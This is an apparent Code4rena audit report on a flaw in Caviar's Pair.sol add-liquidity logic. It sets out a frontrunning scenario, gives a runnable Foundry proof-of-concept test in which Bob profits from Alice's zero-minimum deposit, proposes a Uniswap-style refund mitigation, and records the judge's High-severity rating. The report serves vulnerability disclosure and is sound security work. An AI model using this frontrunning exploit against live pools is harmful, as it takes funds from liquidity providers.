User may lose funds when adding liquidity

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63

Vulnerability details

Impact

When a user adds liquidity they need to provide the two assets from the pool. The number of LPToken received by the user is computed in the addQuote function. When there is liquidity in the pool, the addQuote function will compute, per each provided asset, the number of LPToken that represent the same share between the provided asset and the reserve, and will return the minimum of the two numbers. This means that the user sends some tokens to the pool that are not returned as LPToken, those tokens are still sent to the pool and distributed automatically on a pro-rata basis between all the LPToken holders.
This mechanism can create bad incentives, LPToken holders may try to create these scenarios in order to get more value for their LPTokens. There are multiple scenarios that can happen, below I described one, that from my point of view, is the most suitable to happen:

• Alice creates a new pool for NFT1 and WETH
• Alice wraps one NFT1 getting in return 1 fractional token (1e18) from the pool.
• Alice submits a transaction for adding 1 fractional token (1e18) and 1 WETH (1e18) to the pool. Alice sets the minimum LPToken she is willing to receive to 0 LPToken (assuming that the pool does not have liquidity yet).
• Bob, an evil user, sees the transaction in the mempool and frontruns Alice, adding 1 fractional token (1e18) and 0.1 WETH (1e17), Bob receives approximately 0.3 LPToken in return.
• Alice's transaction is processed. The amount of fractional token sent by her represents 100% of the reserve of fractional token in the pool, and the amount of WETH sent by her represents 1000% of the reserve of the pool. For computing the amount of LPToken she receives, the minimum percentage of shares is used, so she receives 100% of the existing LPToken, which is the same amount received by Bob previously.
• Now, the pool contains 2 fractional tokens (2e18) and 1.1 WETH (11e17). And both Alice and Bob have the same amount of LPTokens, which means they have the same shares over the pool's funds.
• Bob burns his liquidity and gets 1 fractional token (1e18) and 0.55 WETH (55e16).

Note: It is important to note that Alice could have avoided this setting a better value for the minimum amount of LPToken expected.

Proof of Concept

The next code can be copied into a solidity file in the test folder. After adding it, the test can be run to check a scenario similar to the one explained above.

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "./shared/Fixture.t.sol";

contract TestExploit is Fixture {

    address public Alice = address(0x11111);
    address public Bob = address(0x22222);


    function setUp() public {
        // Give fractional tokens to Alice
        deal(address(p), Alice, 1e18, true);
        // Give USD to Alice
        deal(address(usd), Alice, 1e18, true);

        // Give fractional tokens to Bob
        deal(address(p), Bob, 1e18, true);
        // Give USD to Bob
        deal(address(usd), Bob, 1e18, true);
    }

    function testExploit() public {
        // Storing initiali USD balance of Bob
        uint256 bobInitialUSDBalance = usd.balanceOf(Bob);

        // Bob frontruns Alice adding liquidity to the pool.
        vm.startPrank(Bob);
        usd.approve(address(p), 1e17);
        p.add(1e17, 1e18, 0);
        vm.stopPrank();

        // Alice adds liquidity
        vm.startPrank(Alice);
        usd.approve(address(p), 1e18);
        p.add(1e18, 1e18, 0);
        vm.stopPrank();

        // Bob burns his liquidity
        vm.startPrank(Bob);
        p.remove(lpToken.balanceOf(Bob), 0, 0);
        vm.stopPrank();

        // Storing final USD balance of Bob
        uint256 bobFinalUSDBalance = usd.balanceOf(Bob);

        // Checking if Bob made profits
        assert(bobFinalUSDBalance > bobInitialUSDBalance);
    }

}

Recommended Mitigation Steps

When adding liquidity, only transfer from the users the number of tokens that are being used for backing the LPTokens, any surplus token should not be sent to the pool. In the case of ETH, the surplus amount should be refunded to the user. I think this could be done similarly to how it is done in Uniswap V2 https://github.com/Uniswap/v2-periphery/blob/0335e8f7e1bd1e8d8329fd300aea2ef2f36dd19f/contracts/UniswapV2Router02.sol#L33

[c4-judge]

berndartmueller marked the issue as duplicate of #376

[c4-judge]

berndartmueller changed the severity to 3 (High Risk)

[c4-judge]

berndartmueller marked the issue as satisfactory